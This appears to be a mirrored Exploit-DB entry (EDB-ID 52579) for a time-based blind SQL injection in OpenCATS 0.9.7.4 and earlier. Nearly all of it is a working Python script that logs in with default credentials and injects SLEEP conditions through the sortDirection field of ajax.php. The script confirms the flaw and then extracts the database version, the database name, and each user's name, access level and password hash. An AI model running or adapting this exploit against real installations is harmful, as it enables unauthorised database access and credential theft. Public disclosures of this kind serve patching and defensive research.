EXPLOITDB

OpenCATS 0.9.7.4 – SQL Injection_EDB-ID:52579

Description

Exploit Title: OpenCATS 0.9.7.4 - SQL Injection Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI Vendor Homepage: https://www.opencats.org Software Link: https://github.com/opencats/OpenCATS Version: 1 else "http://localhost:8888" user = sys.argv2...
Visit Original Source

Basic Information

ID EDB-ID:52579
Published May 27, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: OpenCATS 0.9.7.4 - SQL Injection
# Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI
# Vendor Homepage: https://www.opencats.org
# Software Link: https://github.com/opencats/OpenCATS
# Version: <= 0.9.7.4
# Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6
# CVE: N/A (GHSA-8mc8-5gw6-c7w4)
import requests, json, sys, time

url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888"
user = sys.argv[2] if len(sys.argv) > 2 else "admin"
pw = sys.argv[3] if len(sys.argv) > 3 else "cats"
delay = 1.5

s = requests.Session()
s.get(f"{url}/index.php")
s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True)

def sqli(payload):
t = time.time()
s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager",
"i": "candidates:candidatesListByViewDataGrid",
"p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})})
return time.time() - t

def blind(cond):
return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6

def extract(query, maxlen=100):
out = ""
for i in range(1, maxlen + 1):
if blind(f"LENGTH({query})<{i}"): break
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid)
out += chr(lo)
return out

base = sqli("DESC")
slp = sqli("DESC,SLEEP(2)")
print(f"baseline={base:.2f}s sleep(2)={slp:.2f}s")
assert slp > base + 1, "not vulnerable or no candidate rows"
print("injection confirmed\n")

print("version:", extract("@@version", 30))
print("database:", extract("DATABASE()", 20))

n = int(extract("(SELECT COUNT(*) FROM user)", 3))
print(f"users: {n}\n")
for i in range(n):
name = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40)
level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5)
hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62)
print(f" {name} level={level} hash={hash_}")

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.